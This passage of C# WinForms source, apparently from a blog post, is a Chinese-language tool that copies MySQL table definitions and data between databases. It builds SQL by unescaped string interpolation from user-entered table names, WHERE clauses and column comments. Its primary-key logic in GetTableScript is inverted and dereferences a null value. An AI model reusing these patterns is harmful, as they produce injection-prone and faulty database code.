var temp = Regex.Replace(field.Trim().Substring(0, GetIndexOf(field.Trim())), "`| |\"", string.Empty);
if (tableFields.Any(p => p.ColumnName.Equals(temp)))
{
whereFields.Add(field);
}
}
}
if (whereFields.Count() > 0)
{
lbReadDatabase.Items[i] = $"`{tableName}` where {string.Join(" and ", whereFields)}";
}
else
{
lbReadDatabase.Items[i] = $"`{tableName}`";
}
}
}
catch (Exception ex)
{
Log(Color.Red, $"错误:{ex.Message}");
}
}

private void btnTest_Click(object sender, EventArgs e)
{
try
{
if (lbReadDatabase.SelectedItems.Count == 0)
{
Log(Color.Red, $"没有选择任何需要同步的表");
return;
}

if (Check() == false)
{
return;
}

MySqlDBHelper readMySqlDBHelper = new MySqlDBHelper(this.txtReadConf.Text);
foreach (var selectedItem in lbReadDatabase.SelectedItems)
{
var tableName = GetTableName(selectedItem.ToString());
var sql = $"SELECT * FROM {selectedItem}";
var dataTable = readMySqlDBHelper.GetDataSet(sql);
Log(Color.Blue, $"【{tableName}】 表有 【{dataTable.Rows.Count}】 条数据待同步!");
}
}
catch (Exception ex)
{
Log(Color.Red, $"错误:{ex.Message}");
}
}

private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
{
var json = new
{
readConf = txtReadConf.Text.Trim(),
writerConf = txtWriterConf.Text.Trim(),
whereConf = txtWhereConf.Text.Trim(),
};
WriterSetting(JsonConvert.SerializeObject(json));
}

#region Setting 配置

private void WriterSetting(string config)
{
var settingFormat = ConvertJsonString(config);
using (StreamWriter sw = new StreamWriter("setting.json"))
{
sw.Write(settingFormat);
}
}

private string ReaderSetting()
{
if (File.Exists("setting.json"))
{
using (StreamReader sw = new StreamReader("setting.json"))
{
return sw.ReadToEnd();
}
}
return string.Empty;
}

private string ConvertJsonString(string str)
{
JsonSerializer serializer = new JsonSerializer();
TextReader tr = new StringReader(str);
JsonTextReader jtr = new JsonTextReader(tr);
object obj = serializer.Deserialize(jtr);
if (obj != null)
{
StringWriter textWriter = new StringWriter();
JsonTextWriter jsonWriter = new JsonTextWriter(textWriter)
{
Formatting = Formatting.Indented,
Indentation = 1,
IndentChar = ' '
};
serializer.Serialize(jsonWriter, obj);
return textWriter.ToString();
}
else
{
return str;
}
}

#endregion Setting 配置

#region log 配置

private void Log(Color color, string message)
{
Action callback = () =>
{
messagesList.Items.Add(new LogMessage(color, $"【{DateTime.Now:HH:mm:ss}{message}"));
_log.Error($"{message}");
};
Invoke(callback);
}

private void messagesList_DrawItem(object sender, DrawItemEventArgs e)
{
if (e.Index >= 0)
{
var message = (LogMessage)messagesList.Items[e.Index];
e.Graphics.DrawString(message.Content, messagesList.Font, new SolidBrush(message.MessageColor), e.Bounds);
}
}

private class LogMessage
{
public Color MessageColor { get; }

public string Content { get; }

public LogMessage(Color messageColor, string content)
{
MessageColor = messageColor;
Content = content;
}
}

#endregion log 配置

private void lbReadDatabase_MouseDoubleClick(object sender, MouseEventArgs e)
{
int index = this.lbReadDatabase.IndexFromPoint(e.Location);
if (index != ListBox.NoMatches)
{
FrmField frmField = new FrmField(_readDatabaseInfo.TableModels[index]);
frmField.Show();
}
}

private void lbWriterDatabase_MouseDoubleClick(object sender, MouseEventArgs e)
{
int index = this.lbWriterDatabase.IndexFromPoint(e.Location);
if (index != ListBox.NoMatches)
{
FrmField frmField = new FrmField(_writerDatabaseInfo.TableModels[index]);
frmField.Show();
}
}

private void btnCreateTable_Click(object sender, EventArgs e)
{
try
{
if (lbReadDatabase.SelectedItems.Count == 0)
{
Log(Color.Red, $"没有选择任何需要同步的表");
return;
}
_writerDatabaseInfo = new DatabaseModel(this.txtWriterConf.Text);
MySqlDBHelper writerMySqlDBHelper = new MySqlDBHelper(_writerDatabaseInfo.ToString());

foreach (var selectedItem in lbReadDatabase.SelectedItems)
{
var tableName = GetTableName(selectedItem.ToString());
var readTable = _readDatabaseInfo.TableModels.SingleOrDefault(p => p.TableName == tableName);
if (!writerMySqlDBHelper.TableExists(_writerDatabaseInfo.Database, readTable.TableName))
{
var tableScript = GetTableScript(readTable);
var count = writerMySqlDBHelper.ExecuteCommand(tableScript);
if (writerMySqlDBHelper.TableExists(_writerDatabaseInfo.Database, readTable.TableName))
{
Log(Color.Green, $"创建【{readTable.TableName}】表成功!");
//刷新列表
_writerDatabaseInfo.TableModels = writerMySqlDBHelper.GetTables(_writerDatabaseInfo.Database);
lbWriterDatabase.Items.Clear();
foreach (var table in _writerDatabaseInfo.TableModels)
{
lbWriterDatabase.Items.Add(table.TableName);
}
}
}
else
{
Log(Color.Red, $"错误:【{readTable.TableName}】目标数据库已存在!");
}
}
}
catch (Exception ex)
{
Log(Color.Red, $"错误:{ex.Message}");
}
}

#region 创建table

private string GetTableScript(TableModel tableModel)
{
StringBuilder sb = new StringBuilder();
sb.AppendLine($"CREATE TABLE `{tableModel.TableName}`");
sb.AppendLine("(");
foreach (var field in tableModel.Fields)
{
var isNull = " NULL ";
if ("no".Equals(field.IsNullAble.ToLower()))
{
isNull = " NOT NULL ";
}
var defaultStr = string.Empty;
if (!string.IsNullOrWhiteSpace(field.ColumnDefault))
{
//有待完善
var defaultValue = field.ColumnDefault;
if (!"CURRENT_TIMESTAMP".Equals(field.ColumnDefault) && !Regex.IsMatch(field.ColumnDefault, @"^[0-9]*$"))
{
defaultValue = $"'{defaultValue}'";
}
defaultStr = $"DEFAULT {defaultValue}";
}
sb.AppendLine($"\t`{field.ColumnName}` {field.ColumnType} {isNull} {defaultStr} COMMENT '{field.ColumnComment}',");
}
//主键
var priKey = tableModel.Fields[0].ColumnName;//默认第一个字段为主键
var priField = tableModel.Fields.SingleOrDefault(p => p.ColumnKey == "PRI");
if (priField is null)
{
priKey = priField.ColumnName;
}
sb.AppendLine($"\tPRIMARY KEY (`{priKey}`)");
sb.AppendLine(")");
sb.AppendLine($"ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='{tableModel.TableName}表';");
return sb.ToString();
}

#endregion 创建table

private void btnCreateDatabase_Click(object sender, EventArgs e)
{
try
{
var databaseInfo = new DatabaseModel(this.txtWriterConf.Text);
MySqlDBHelper writerMySqlDBHelper = new MySqlDBHelper(databaseInfo.CreateDatabaseConfig());
var count = writerMySqlDBHelper.ExecuteCommand($"CREATE database `{databaseInfo.Database}`;");
if (count == 1)
{
Log(Color.Green, $"创建【{databaseInfo.Database}】数据库成功!");
}
}
catch (Exception ex)
{
Log(Color.Red, $"错误:{ex.Message}");
}
}
}
}

FrmField

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
using KBS_Sync_Database.Models;
using System;
using System.Windows.Forms;

namespace KBS_Sync_Database
{
public partial class FrmField : Form
{
public FrmField(TableModel table)
{
InitializeComponent();
this.Text = $"【{table.TableName}】表 字段详细信息";
dgvFields.DataSource = table.Fields;
}

private void FrmField_Load(object sender, EventArgs e)
{
}
}
}

DatabaseModel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;

namespace KBS_Sync_Database.Models
{
public class DatabaseModel
{
public DatabaseModel(string configStr)
{
var config = configStr.Trim().Split(';');
Server = GetOptions(config, nameof(Server));
UId = GetOptions(config, nameof(UId));
Pwd = GetOptions(config, nameof(Pwd));
Port = GetOptions(config, nameof(Port));
Database = GetOptions(config, nameof(Database));
TreatTinyAsBoolean = GetOptions(config, nameof(TreatTinyAsBoolean));
Connect_Timeout = GetOptions(config, nameof(Connect_Timeout));
}

private string GetOptions(string[] config, string option)
{
option = option.ToLower().Replace("_", " ");
var keyValue = config.SingleOrDefault(p => p.ToLower().StartsWith($"{option}="));
if (keyValue is null)
{
return string.Empty;
}
return keyValue.Split('=')[1];
}

public string Server { get; }
public string UId { get; }
public string Pwd { get; }
public string Port { get; }
public string Database { get; }
public string TreatTinyAsBoolean { get; }
public string Connect_Timeout { get; }

public List<TableModel> TableModels { get; set; } = new List<TableModel>();

public override string ToString()
{
return ConfigString();
}

private string ConfigString(bool isCreateDatabase = false)
{
List<string> config = new List<string>();
Type t = this.GetType();
PropertyInfo[] PropertyList = t.GetProperties();
foreach (PropertyInfo item in PropertyList)
{
string name = item.Name.Replace("_", " ");
if (!"TableModels".Equals(name))
{
if (!(isCreateDatabase && nameof(Database).Equals(name)))
{
string value = item.GetValue(this, null)?.ToString() ?? string.Empty;
config.Add($"{name}={value}");
}
}
}
var configString = string.Join(";", config);
return configString;
}

public string CreateDatabaseConfig()
{
return ConfigString(true);
}
}
}

TableModel

1
2
3
4
5
6
7
8
9
10
11
12
using System.Collections.Generic;

namespace KBS_Sync_Database.Models
{
public class TableModel
{
public string TableSchema { get; set; }
public string TableName { get; set; }
public string Where { get; set; }
public List<FieldModel> Fields { get; set; } = new List<FieldModel>();
}
}

FieldModel

1
2
3
4
5
6
7
8
9
10
11
12
13
namespace KBS_Sync_Database.Models
{
public class FieldModel
{
public string ColumnName { get; set; }
public string OrdinalPosition { get; set; }
public string ColumnDefault { get; set; }
public string IsNullAble { get; set; }
public string ColumnType { get; set; }
public string ColumnKey { get; set; }
public string ColumnComment { get; set; }
}
}